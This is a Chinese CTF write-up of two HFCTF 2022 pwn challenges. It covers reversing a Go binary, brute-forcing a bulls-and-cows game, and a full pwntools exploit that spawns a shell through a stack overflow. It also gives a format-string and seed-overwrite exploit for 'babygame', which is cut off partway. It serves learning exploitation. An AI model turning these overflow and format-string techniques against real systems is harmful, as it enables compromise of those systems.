0%

虎符CTF2022

gogogo

1
2
3
➜  [/home/ywhkkx/桌面] ./gogogo       
LET'S BEGIN TO PLAY A GUESS GAME IN HFCTF!
PLEASE INPUT A NUMBER:
1
2
3
4
5
6
7
8
gogogo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=OPIhFHMrY-7UFXwK1kut/ps8Q_hGCHEf-Am9x5tdv/3tThvdTnrIvrW8jtkHHX/yCVwqchmGGNZd485XtOR, stripped

[*] '/home/ywhkkx/桌面/gogogo'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

输入两个数字,进入主体程序:

1
2
3
➜  桌面 ./gogogo 
LET'S BEGIN TO PLAY A GUESS GAME IN HFCTF!
PLEASE INPUT A NUMBER:

golang逆向出来真的难看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void __cdecl main_main()
{
__int64 v0; // r14
_QWORD *v1; // rax
__int64 v2; // [rsp-38h] [rbp-98h]
__int64 v3; // [rsp-38h] [rbp-98h]
__int64 v4; // [rsp-38h] [rbp-98h]
__int64 v5; // [rsp-38h] [rbp-98h]
__int64 v6; // [rsp-38h] [rbp-98h]
__int64 v7; // [rsp-38h] [rbp-98h]
__int64 v8; // [rsp-38h] [rbp-98h]
_QWORD *v9; // [rsp+0h] [rbp-60h]
_QWORD v10[2]; // [rsp+48h] [rbp-18h] BYREF

while ( (unsigned __int64)v10 <= *(_QWORD *)(v0 + 16) )
runtime_morestack_noctxt();
v10[0] = &unk_49D7C0;
v10[1] = &off_4CFBB0;
fmt_Fprintln(v2);
fmt_Fprintln(v3);
runtime_newobject(v4);
v9 = v1;
fmt_Fscanf(v5);
if ( *v9 == 305419896LL )
{
fmt_Fprintln(v6);
runtime_makeslice(v7);
bufio___ptr_Reader__Read(v8);
}
else
{
fmt_Fprintln(v6);
}
}

利用插件初步处理后:(我用的是 IDAGolangHelper)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void __cdecl main_main()
{
__int64 v0; // r14
_QWORD *v1; // rax
_QWORD *v2; // [rsp+0h] [rbp-60h]
_QWORD v3[2]; // [rsp+48h] [rbp-18h] BYREF

while ( (unsigned __int64)v3 <= *(_QWORD *)(v0 + 16) )
runtime_morestack_noctxt();
v3[0] = &unk_49D7C0;
v3[1] = &off_4CFBB0;
fmt_Fprintln();
fmt_Fprintln();
runtime_newobject();
/* Go 语言的标准库函数runtime.newobject()用于在heap上的内存分配和代理runtime.mallocgc */
v2 = v1;
fmt_Fscanf();
if ( *v2 == 305419896LL )
/* fmt_Fscanf()应该是输入语句,v2应该是输入的内容 */
{
fmt_Fprintln();
runtime_makeslice();
bufio__ptr_Reader_Read();
/* Reset丢弃缓冲中的数据,清除任何错误,将b重设为其下层从r读取数据 */
}
else
{
fmt_Fprintln();
}
}

程序提示我们输入一个数字,那么就输入“305419896”

1
2
3
4
5
➜  桌面 ./gogogo 
LET'S BEGIN TO PLAY A GUESS GAME IN HFCTF!
PLEASE INPUT A NUMBER:
305419896
OKAY YOU CAN LEAVE YOUR NAME AND BYE~

好像失败了,这是这么回事(不输入这个数字会直接退出)另外我还发现:

  • main_main 中下的断点丝毫不起作用
  • IDA的伪代码中有许多 fmt_Fprintf() ,每个只输出一个字符
  • 其中 fmt_Fprintln() 表示输出带有“\n”的字符串

golang 会通过 runtime·newproc 创建 runtime.main 协程,然后在 runtime.main 里会启动 main.main 函数,这个就是我们平时写的那个 main 函数了

因为我对 golang 的底层不熟悉,所以我选择在 runtime.main 处打断点,一步一步分析程序的流程

  • 结果程序在 math_init 中不断循环,调试不了(IDA在一步步单步执行后,又回到了原点,目前不知道为什么)
  • 最后通过下断点的方式跳出了循环,并且成功发现了目标数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ( v2 == 1717986918 )
{
bytes_In(); /* 盲猜是输入 */
}
else if ( v2 != 1416925456 )
{
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
v139 = &unk_49D7C0;
v140 = &off_4CFC10;
fmt_Fprintln();
return;
}
  • 第一次输入:1717986918
  • 第二次输入:1416925456
1
2
3
4
5
6
7
8
9
10
11
12
➜  桌面 ./gogogo        
LET'S BEGIN TO PLAY A GUESS GAME IN HFCTF!
PLEASE INPUT A NUMBER:
1717986918
LET'S BEGIN TO PLAY A GUESS GAME IN HFCTF!
PLEASE INPUT A NUMBER:
1416925456
BYE~


NOW WE BEGIN A BULLS AND COWS GAME
YOU HAVE SEVEN CHANCES TO GUESS // 7次机会

进入下一阶段了,通过调试获取目标代码,下面一段大概就是了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
v138 = &unk_49D7C0;
v139 = &unk_4CFC00;
v3 = qword_551500;
fmt_Fprintln();
while ( 2 )
{
v150 = time_Now();
/* 获取当前时间 */
v151 = v3;
v152 = v4;
math_rand__ptr_Rand_Seed();
/* 获取随机数种子 */
math_rand__ptr_Rand_Intn();
/* 输出随机数 */
v67[0] = v5;
math_rand__ptr_Rand_Intn();
while ( v67[0] == v6 )
math_rand__ptr_Rand_Intn();
v74 = v6;
math_rand__ptr_Rand_Intn();
v8 = v67[0];
for ( i = v74; v8 == v7 || v7 == i; i = v74 )
{
math_rand__ptr_Rand_Intn();
v8 = v67[0];
}
v73 = v7;
math_rand__ptr_Rand_Intn();
v11 = v67[0];
v12 = v74;
for ( j = v73; v11 == v10 || v10 == v12 || v10 == j; j = v73 )
{
math_rand__ptr_Rand_Intn();
v11 = v67[0];
v12 = v74;
}
v71 = v10;

很难看,但大体上了解了:这是通过“系统时间”来获取随机数,最后的输入在这里:

1
2
3
4
5
6
7
8
9
10
11
12
fmt_Fscanf();
v26 = *v85;
if ( v67[0] != *v85 ) /* 盲猜v67[0]为随机数,v85就是输入值 */
{
v29 = v73;
v32 = v82;
v31 = v83;
v27 = v74;
v28 = v84;
v30 = v71;
goto LABEL_44;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
LABEL_44:
v33 = *v28;
v34 = *v31;
v35 = *v32;
v36 = v67[0] == *v28 || v67[0] == v34 || v67[0] == v35;
if ( v27 == v26 || v27 == v34 || v27 == v35 )
++v36;
if ( v29 == v33 || v29 == v26 || v29 == v35 )
++v36;
if ( v30 == v26 || v30 == v34 || v30 == v33 )
++v36;
v67[1] = v36;
runtime_convT64(v64);
v80 = v24;
runtime_convT64(v65);
v153 = "\b";
v154 = v80;
v155 = "\b";
v156 = v25;
fmt_Fprintf();
v124 = &unk_49D7C0;
v125 = &unk_4CFC00;
v3 = qword_551500;
fmt_Fprintln();
v18 = v72 + 1;
v17 = v82;

单步调试,没有看明白它的代码,但是它给出了提示:

1
2
3
4
5
6
NOW WE BEGIN A BULLS AND COWS GAME
YOU HAVE SEVEN CHANCES TO GUESS
$ 6
0A1B
$ 999
0A0B

0A1B?0A0B?盲猜这是程序的某种提示,组里和我同期的pwn手发现这是“1A2B游戏”

1
2
3
4
5
6
你和对手分别选定一个四位数,各位数字不要重复
游戏开始后,由双方分别猜对方所选定的四位数,猜测的结果将会列在自己的猜测历史列表,并以A和B来表示结果
A代表猜测的数字中,数字相同且位置也正确的个数
B代表猜测的数字中,数字相同但位置不一样的个数
举例来说,如果对方的数字为1234,且你猜的数字为5283,其中2被猜到且位置正确,3也被猜到但位置不对,所以结果会出现1A1B
比赛由先完整猜出对方数字的人获得胜利(也就是先得到4A的玩家)

在我的后续尝试中发现,输入的数字需要加空格:

1
2
3
4
5
6
NOW WE BEGIN A BULLS AND COWS GAME
YOU HAVE SEVEN CHANCES TO GUESS
$ 1234
1A1B
$ 5678
1A1B /* 很明显不符合规则 */
1
2
3
4
5
6
NOW WE BEGIN A BULLS AND COWS GAME
YOU HAVE SEVEN CHANCES TO GUESS
$ 1 2 3 4
1A0B
$ 5 6 7 8
0A2B /* 现在差不多了 */

接下来就是算法的问题了,我想通过爆破所有可能性来“猜中”随机数,但是在这个过程中遇到了许多BUG,花费了我很多时间才成功,下面就是攻击脚本:(有点丑陋,但很直观)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
A=0
B=0
C=0
D=0
E=0

p.recvuntil('YOU HAVE SEVEN CHANCES TO GUESS\n')
while(True):
E=E+1

payload=str(A)+' '+str(B)+' '+str(C)+' '+str(D)
p.sendline(payload)
sleep(0.001) # 这里必须要sleep一小会,不然就会发生错误
success("now is :"+str(A)+' '+str(B)+' '+str(C)+' '+str(D))

recv = p.recv(5)
if recv[0]=='Y':
success("find it")
p.sendline("e")
break

a = eval(recv[0])
b = eval(recv[2])

success("A="+str(a)+","+"B="+str(b))
D=D+1
if D==10:
D=0
C=C+1
if C==10:
C=0
B=B+1
if B==10:
B=0
A=A+1

if a==3:
success("close.......")

if E==7:
E=0
p.recvuntil('TRY AGAIN?\n')
p.sendline("a")
p.recvuntil('YOU HAVE SEVEN CHANCES TO GUESS\n')

接下来就进入这里了:(看上去像堆题)

1
2
3
4
5
6
7
I THINK I SHOULD USE ANOTHER FAMILIAR THING TO KEEP YOU!!!!
YOU HAVE FIVE CHOICE:
(0) INPUT
(1) OUTPUT
(2) EDIT
(3) CLEAR
(4) EXIT

那个和我同期的兄弟发现了栈溢出,我想也没有更好的办法了(毕竟对golang的heap不熟悉)

选择“4”后,有一次输入的机会,不管输入什么都会触发“exit”,这也是最后的机会了,这里先直接挂代码把:

1
2
3
4
5
6
7
p.recvuntil('(4) EXIT\n')
p.sendline('4')
_syscall_Syscall = 0x47CF05
binsh = 0xc0000aa000
payload = b'/bin/sh\x00'*0x8c + p64(_syscall_Syscall) + p64(0) + p64(59) + p64(binsh) + p64(0) + p64(0)
p.recvuntil('ARE YOU SURE?\n')
p.send(payload)

假设输入只输入0x8c个“/bin/sh\x00”:

1
2
3
4
5
6
7
8
9
10
0x45c849    syscall  <SYS_exit_group>
rdi: 0x0
rsi: 0x0
rdx: 0x0
r10: 0x1
0x45c84b ret

0x45c84c int3
0x45c84d int3
0x45c84e int3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> search -s /bin/sh
[anon_c000000] 0xc000045b18 0x68732f6e69622f /* '/bin/sh' */
[anon_c000000] 0xc000045b20 0x68732f6e69622f /* '/bin/sh' */
[anon_c000000] 0xc000045b28 0x68732f6e69622f /* '/bin/sh' */
[anon_c000000] 0xc000045b30 0x68732f6e69622f /* '/bin/sh' */
........
[anon_c000000] 0xc00007c430 0x68732f6e69622f /* '/bin/sh' */
[anon_c000000] 0xc00007c438 0x68732f6e69622f /* '/bin/sh' */
[anon_c000000] 0xc00007c440 0x68732f6e69622f /* '/bin/sh' */
[anon_c000000] 0xc00007c448 0x68732f6e69622f /* '/bin/sh' */
[anon_c000000] 0xc00007c450 0x68732f6e69622f /* '/bin/sh' */
[anon_c000000] 0xc00007c458 0x68732f6e69622f /* '/bin/sh' */
pwndbg> stack 50
00:0000│ rsp 0xc000045f78 —▸ 0x43217c ◂— xorps xmm15, xmm15 /* 栈顶 */

可以发现:当前的栈顶(“ret”即将控制的区域)是可以控制的,直接在此写入“_syscall_Syscall”便可以控制IP指针并且进行系统调用

1
2
#define __NR_execve 59
/* "0"用于覆盖"_syscall_Syscall"的返回地址,"59"是execve的调用号,剩下的都是参数 */

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

p=process('./gogogo')
elf=ELF('./gogogo')

p.recvuntil('PLEASE INPUT A NUMBER:\n')
p.sendline(str(1717986918))
p.recvuntil('PLEASE INPUT A NUMBER:\n')
p.sendline(str(1416925456))

A=0
B=0
C=0
D=0
E=0

p.recvuntil('YOU HAVE SEVEN CHANCES TO GUESS\n')
while(True):
E=E+1

payload=str(A)+' '+str(B)+' '+str(C)+' '+str(D)
p.sendline(payload)
sleep(0.001)
success("now is :"+str(A)+' '+str(B)+' '+str(C)+' '+str(D))

recv = p.recv(5)
if recv[0]=='Y':
success("find it")
p.sendline("e")
break

a = eval(recv[0])
b = eval(recv[2])

success("A="+str(a)+","+"B="+str(b))
D=D+1
if D==10:
D=0
C=C+1
if C==10:
C=0
B=B+1
if B==10:
B=0
A=A+1

if a==3:
success("close.......")

if E==7:
E=0
p.recvuntil('TRY AGAIN?\n')
p.sendline("a")
p.recvuntil('YOU HAVE SEVEN CHANCES TO GUESS\n')

#gdb.attach(p,"b*0x45c849")

p.recvuntil('(4) EXIT\n')
p.sendline('4')
_syscall_Syscall = 0x47CF05
binsh = 0xc0000aa000
payload = b'/bin/sh\x00'*0x8c + p64(_syscall_Syscall) + p64(0) + p64(59) + p64(binsh) + p64(0) + p64(0)
p.recvuntil('ARE YOU SURE?\n')
p.send(payload)

p.interactive()

小结

这个 GO 还是有点折磨的,在没有用插件的情况下,IDA上全是乱码(函数未重命名)很难识别,用了插件后,才勉强可以在网上搜索相关函数的信息

本题目很考验逆向基础,没有大型的加密解密,但IDA上的混淆还是很难受的

最后说一下我在复现过程中遇到的困难:

  • GO本身的乱码(这个用插件可以解决大部分)
  • 对于GO入口地址的探索:我刚开始以为GO的入口地址是 main_main ,发现断点不起作用后就无计可施了,最后我把几个和main有关的函数( main_initruntime_main )都打上断点,调试出了入口地址
  • 绕过“1A2B游戏”:这个是最花时间的了,我光是看懂它的机制就耗了不少时间,期初我还在和搞算法的室友讨论怎么在7次之内求解,后来我发现随机数是不变的于是果断爆破,这个脚本我也弄了很久(有时候会有莫名其妙的错误导致爆破失败,最后加上sleep才解决了问题)
  • ret劫持的调试工作:这个就有点憋屈了,因为执行 exit 的时候程序会把我的 GDB 给掐掉,让我看不见栈上的数据,最后还是靠单步调试在执行 exit 前打断点,终于观察到了栈地址(似乎GO没有栈地址随机化)

逆向能力对于pwn手来说真的很重要,以后也要多多训练逆向能力了…

babygame

刚开始拿到的文件其实是个压缩包,改后缀解压一下就好了

1
2
3
4
5
6
7
8
9
10
11
➜  桌面 ./babygame 
Welcome to HFCTF!
Please input your name:
ywx
Hello, ywx

Let's start to play a game!
0. rock
1. scissor
2. paper
round 1:
1
2
3
4
5
6
7
8
babygame: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=50007d900d58090aa96310390fcebd6350df9f31, for GNU/Linux 3.2.0, stripped

[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/babygame'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.7) stable release versi

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char name[256]; // [rsp+0h] [rbp-120h] BYREF
unsigned int seed; // [rsp+100h] [rbp-20h]
int v6; // [rsp+104h] [rbp-1Ch]
unsigned __int64 v7; // [rsp+108h] [rbp-18h]

v7 = __readfsqword(0x28u);
((void (__fastcall *)())((char *)&init_s + 1))();
seed = time(0LL);
puts("Welcome to HFCTF!");
puts("Please input your name:");
read(0, name, 0x256uLL); // 栈溢出
printf("Hello, %s\n", name);
srand(seed); // 初始化种子
v6 = game(); // 1/3 的概率返回 1
if ( v6 > 0 )
pwn();
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 pwn()
{
char buf[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 canary; // [rsp+108h] [rbp-8h]

canary = __readfsqword(0x28u);
puts("Good luck to you.");
read(0, buf, 0x100uLL);
printf(buf); // 格式化漏洞
return __readfsqword(0x28u) ^ canary;
}

格式化字符串漏洞,好久都没有遇到了

入侵思路

有栈溢出,可以用来泄露“pro_base”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
pwndbg> stack 50
00:0000│ rsp 0x7ffe86861e08 —▸ 0x558b6a2142e3 ◂— lea rax, [rbp - 0x30]
01:0008│ rsi 0x7ffe86861e10 ◂— 0x0
... ↓ 3 skipped
05:00280x7ffe86861e30 —▸ 0x558b6a214180 ◂— endbr64
06:00300x7ffe86861e38 ◂— 0x65ed34df67df5f00
07:0038│ rbp 0x7ffe86861e40 —▸ 0x7ffe86861e60 —▸ 0x7ffe86861f90 ◂— 0x0
08:00400x7ffe86861e48 —▸ 0x558b6a2143a6 ◂— mov dword ptr [rbp - 4], eax
09:00480x7ffe86861e50 ◂— 0x6a214180
0a:00500x7ffe86861e58 ◂— 0x7fef00000002
0b:00580x7ffe86861e60 —▸ 0x7ffe86861f90 ◂— 0x0
0c:00600x7ffe86861e68 —▸ 0x558b6a214524 ◂— mov dword ptr [rbx], eax
0d:00680x7ffe86861e70 ◂— 'aaaaaaaa\n\t' // input 'a'*8
0e:00700x7ffe86861e78 ◂— 0x9800000090a /* '\n\t' */
0f:00780x7ffe86861e80 ◂— 0x98000000980
... ↓ 9 skipped
19:00c8│ 0x7ffe86861ed0 ◂— 0x0
1a:00d0│ 0x7ffe86861ed8 ◂— 0x100
1b:00d8│ 0x7ffe86861ee0 ◂— 0x4000000000
1c:00e00x7ffe86861ee8 ◂— 0x40000000200
1d:00e80x7ffe86861ef0 ◂— 0x0
... ↓ 7 skipped
25:01280x7ffe86861f30 —▸ 0x558b6a213040 ◂— 0x400000006
26:01300x7ffe86861f38 ◂— 0xf0
27:01380x7ffe86861f40 ◂— 0xc2
28:01400x7ffe86861f48 —▸ 0x7ffe86861f77 ◂— 0xed34df67df5f0000
/* 其实这里也可以leak stack_addr,但是为了覆盖seed就不能泄露这里了 */
29:01480x7ffe86861f50 —▸ 0x7ffe86861f76 ◂— 0x34df67df5f000000
2a:01500x7ffe86861f58 —▸ 0x558b6a2145bd ◂— add rbx, 1 // leak pro_base
2b:01580x7ffe86861f60 —▸ 0x7fefa87172e8 (__exit_funcs_lock) ◂— 0x0
2c:01600x7ffe86861f68 —▸ 0x558b6a214570 ◂— endbr64
2d:0168│ rbx-4 0x7ffe86861f70 ◂— 0x62381e44 // canary
2e:01700x7ffe86861f78 ◂— 0x65ed34df67df5f00 // canary
2f:01780x7ffe86861f80 —▸ 0x7ffe86862080 ◂— 0x1 // leak stack_addr
30:01800x7ffe86861f88 —▸ 0x558b6a214570 ◂— endbr64
31:01880x7ffe86861f90 ◂— 0x0
pwndbg>
32:01900x7ffe86861f98 —▸ 0x7fefa854a0b3 (__libc_start_main+243) ◂— mov edi, eax // leak libc_base
33:01980x7ffe86861fa0 —▸ 0x7fefa8747620 (_rtld_global_ro) ◂— 0x50d1300000000
34:01a0│ 0x7ffe86861fa8 —▸ 0x7ffe86862088 —▸ 0x7ffe86863393 ◂— './babygame'
35:01a8│ 0x7ffe86861fb0 ◂— 0x100000000
36:01b0│ 0x7ffe86861fb8 —▸ 0x558b6a214465 ◂— endbr64
37:01b8│ 0x7ffe86861fc0 —▸ 0x558b6a214570 ◂— endbr64
38:01c0│ 0x7ffe86861fc8 ◂— 0x70fd944c7d5b3327
39:01c8│ 0x7ffe86861fd0 —▸ 0x558b6a214180 ◂— endbr64
3a:01d0│ 0x7ffe86861fd8 —▸ 0x7ffe86862080 ◂— 0x1
3b:01d8│ 0x7ffe86861fe0 ◂— 0x0
3c:01e00x7ffe86861fe8 ◂— 0x0
3d:01e80x7ffe86861ff0 ◂— 0x8f009940421b3327
3e:01f0│ 0x7ffe86861ff8 ◂— 0x8f22c4e53d953327
3f:01f8│ 0x7ffe86862000 ◂— 0x0
... ↓ 2 skipped
1
2
3
4
5
6
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x558b6a213000 0x558b6a214000 r--p 1000 0
/home/yhellow/桌面/babygame
0x7fefa8526000 0x7fefa8548000 r--p 22000 0
/home/yhellow/tools/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so

因为开了PIE,所以我首先想到要 leak pro_base

1
2
3
4
5
6
7
8
9
10
11
12
13
p.recvuntil('Please input your name:')

payload='a'*232
p.sendline(payload)

p.recvuntil('Hello')
p.recvuntil('\n')

leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
leak_addr=eval(hex(leak_addr)+'0'*2) # 末尾打印不出来
pro_base=leak_addr-5376
success('leak_addr >> '+hex(leak_addr))
success('pro_base >> '+hex(pro_base))

接下来要破解“game”,我最初的想法是:循环输入“1”直到打通为止,但伪随机数表中根本不可能出现这种情况,所以我打算也引入随机操作,只要种子合适,就有可能成功

1
2
char name[256]; // [rsp+0h] [rbp-120h] BYREF
unsigned int seed; // [rsp+100h] [rbp-20h]

其实 seed 是可以被覆盖的,但是我为了 leak pro_base 放弃了覆盖 seed,为了可以覆盖 seed ,就必须先获得 leak canary

当时就卡在了这里,后面可以 leak stack_addr 的数据都被 canary 保护,即使通过了“game”,在开了PIE的情况下也无法利用格式化漏洞

通过“game”的脚本:

1
2
3
4
5
6
seed=key.srand(0x31313131)

for i in range(100):
p.recvuntil('round '+ str(i+1)+ ': \n')
num=(key.rand()+1)%3
p.sendline(str(num))

在学习了我们组里一位大佬的 wp 后,我感觉很奇怪, canary明明被覆盖了却没有立刻报错,后续的利用依然可以正常执行 ,基于这点就可以 leak stack_addr了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p.recvuntil('Please input your name:')
payload='a'*256+'1'*4+'a'*12
p.send(payload)
p.recvuntil('1'*4+'a'*12)
leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
stack_addr=leak_addr-528
success('leak_addr >> '+hex(leak_addr))
success('stack_addr >> '+hex(stack_addr))
seed=key.srand(0x31313131)

for i in range(100):
p.recvuntil('round '+ str(i+1)+ ': \n')
num=(key.rand()+1)%3
p.sendline(str(num))

这样可以把rbp泄露出来,通过rbp来计算 stack_addr(这里不选择 leak stack_base,通过rbp计算出的stack_base不准确,stack_addr 就是 read 写入的栈地址)

下一步就是利用格式化漏洞来构造循环(因为我们肯定会多次执行程序)

1
2
3
0x557a74bd3449    call   printf@plt                <printf@plt>
format: 0x7ffee08a7670 ◂— 0x252d70252d70252d ('-%p-%p-%')
vararg: 0x7ffee08a7670 ◂— 0x252d70252d70252d ('-%p-%p-%')

初步定位格式化参数的位置(输入20个“-%p”):

1
2
Good luck to you.
-0x7ffee08a7670-0x100-0x7f82e8359002-0x12-(nil)-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x99059999-0xffffffffffffffff-0xd68-0x7ffee08a7894-0x7ffee08a7760-0x557a74bd3180-0x7ffee08a79a0-(nil)-(nil)-0x7f82e828f5f4-0x8-0x557a74bd32ef-0xa32-(nil)-(nil)\x99\x99\x05*** stack smashing detected ***: terminated
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> stack 50
00:0000│ rdi rsi rsp 0x7ffee08a7670 ◂— 0x252d70252d70252d ('-%p-%p-%')
01:00080x7ffee08a7678 ◂— 0x2d70252d70252d70 ('p-%p-%p-')
02:00100x7ffee08a7680 ◂— 0x70252d70252d7025 ('%p-%p-%p')
03:00180x7ffee08a7688 ◂— 0x252d70252d70252d ('-%p-%p-%')
04:00200x7ffee08a7690 ◂— 0x2d70252d70252d70 ('p-%p-%p-')
05:00280x7ffee08a7698 ◂— 0x70252d70252d7025 ('%p-%p-%p')
06:00300x7ffee08a76a0 ◂— 0x252d70252d70252d ('-%p-%p-%')
07:00380x7ffee08a76a8 ◂— 0x2d70252d70252d70 ('p-%p-%p-')
08:00400x7ffee08a76b0 ◂— 0x70252d70252d7025 ('%p-%p-%p')
09:00480x7ffee08a76b8 ◂— 0x252d70252d70252d ('-%p-%p-%')
0a:00500x7ffee08a76c0 ◂— 0x2d70252d70252d70 ('p-%p-%p-')
0b:00580x7ffee08a76c8 ◂— 0x70252d70252d7025 ('%p-%p-%p')
0c:00600x7ffee08a76d0 ◂— 0x99059999 /* No.18 */
0d:00680x7ffee08a76d8 ◂— 0xffffffffffffffff
0e:00700x7ffee08a76e0 ◂— 0xd68
0f:00780x7ffee08a76e8 —▸ 0x7ffee08a7894 ◂— 0x6161616100000001
10:00800x7ffee08a76f0 —▸ 0x7ffee08a7760 —▸ 0x7ffee08a7780 —▸ 0x7ffee08a78b0 ◂— 0x0
11:00880x7ffee08a76f8 —▸ 0x557a74bd3180 ◂— endbr64
12:00900x7ffee08a7700 —▸ 0x7ffee08a79a0 ◂— 0x1

第一次定位没有发现合适的目标,极有可能被“-%p”覆盖了,所以第二次采用精确定位,随便看看覆盖那部分有没有目标:(输入“-%11$p”)

1
2
Good luck to you.
-0x7ffd31ce53d0*** stack smashing detected ***: terminated
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> stack 50
00:0000│ rdi rsi rsp 0x7ffd31ce52d0 ◂— 0x70243131252d /* '-%11$p' */
01:00080x7ffd31ce52d8 ◂— 0x0
02:00100x7ffd31ce52e0 —▸ 0x7ffd31ce53e0 —▸ 0x7ffd31ce5510 ◂— 0x0
03:00180x7ffd31ce52e8 —▸ 0x7efd3be66d6f (printf+175) ◂— mov rcx, qword ptr [rsp + 0x18] /* target No.9 */
04:00200x7ffd31ce52f0 ◂— 0x3000000010
05:00280x7ffd31ce52f8 —▸ 0x7ffd31ce53d0 ◂— 0x64f17ed180 /* No.11 */
06:00300x7ffd31ce5300 —▸ 0x7ffd31ce5310 ◂— 0x3000000010
07:00380x7ffd31ce5308 ◂— 0xb87bdb51f4286a00 /* canary No.13 */
08:00400x7ffd31ce5310 ◂— 0x3000000010
09:00480x7ffd31ce5318 ◂— 0x64
0a:00500x7ffd31ce5320 ◂— 0x0
0b:00580x7ffd31ce5328 ◂— 0x0
0c:00600x7ffd31ce5330 ◂— 0x99059999
0d:00680x7ffd31ce5338 ◂— 0xffffffffffffffff
0e:00700x7ffd31ce5340 ◂— 0xd68
0f:00780x7ffd31ce5348 —▸ 0x7ffd31ce54f4 ◂— 0x6161616100000001
10:00800x7ffd31ce5350 —▸ 0x7ffd31ce53c0 —▸ 0x7ffd31ce53e0 —▸ 0x7ffd31ce5510 ◂— 0x0
11:00880x7ffd31ce5358 —▸ 0x5590f17ed180 ◂— endbr64
12:00900x7ffd31ce5360 —▸ 0x7ffd31ce5600 ◂— 0x1
13:00980x7ffd31ce5368 ◂— 0x0
14:00a0│ 0x7ffd31ce5370 ◂— 0x0
15:00a8│ 0x7ffd31ce5378 —▸ 0x7efd3be495f4 (atoi+20) ◂— add rsp, 8 /* to leak libc_base No.27 */
16:00b0│ 0x7ffd31ce5380 ◂— 0x8

可以发现:可以在“No.13”处泄露canary,可以在“No.27”处泄露libc_base

写入的内容必须使程序可以循环(这里我想不明白),在和大佬交流过后,我找到了解决的办法:

1
2
3
4
00:0000│ rdi rsi rsp 0x7ffd31ce52d0 ◂— 0x70243131252d /* '-%11$p' */
01:00080x7ffd31ce52d8 ◂— 0x0
02:00100x7ffd31ce52e0 —▸ 0x7ffd31ce53e0 —▸ 0x7ffd31ce5510 ◂— 0x0
03:00180x7ffd31ce52e8 —▸ 0x7efd3be66d6f (printf+175) ◂— mov rcx,

可以在“read”控制的范围中写入栈上的某个地址,直接修改其内容(这个地址最好是函数pwn的返回地址)

1
2
3
4
5
22:0110│ rbp         0x7ffd1b017280 —▸ 0x7ffd1b0173b0 ◂— 0x0
23:01180x7ffd1b017288 —▸ 0x560a9a5ba543 ◂— mov eax, 0
/* pwn的返回地址 */
24:01200x7ffd1b017290 ◂— 0x6161616161616161 ('aaaaaaaa')
/* 其实这里就是stack_addr(第一次read写入的地址) */

可以直接计算返回地址的栈地址,在“No.9”的位置写入它(注意内存对齐)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
target_stack=stack_addr-0x8
payload = "%13$p%27$p"
payload +="%"+str(0x54c2-0x20)+"c"+"%9$hn"
payload = payload.ljust(0x18,"a")
payload = flat([payload,p64(target_stack)])

p.sendline(payload)
p.recvuntil('0x')
canary=int((p.recv(16)),16)
p.recvuntil('0x')
leak_addr=int((p.recv(12)),16)
libc_base=leak_addr-280052

success('canary >> '+hex(canary))
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))
1
2
3
4
5
6
pwndbg> stack 50
00:0000│ rdi rsi rsp 0x7fff152d9870 ◂— 0x3732257024333125 ('%13$p%27')
01:00080x7fff152d9878 ◂— 0x3636363132257024 ('$p%21666')
02:00100x7fff152d9880 ◂— 0x61616e6824392563 ('c%9$hnaa')
03:00180x7fff152d9888 —▸ 0x7fff152d9988 —▸ 0x55ddcf5f9543 ◂— mov eax, 0 /* 此处已经被写入了pwn的返回地址,偏移为"9" */
04:00200x7fff152d9890 ◂— 0x300000000a /* '\n' */
1
2
3
4
5
6
7
8
.text:00000000000014BD 128                 call    _puts
.text:00000000000014C2 128 lea rax, [rbp+name] // 0x54c2
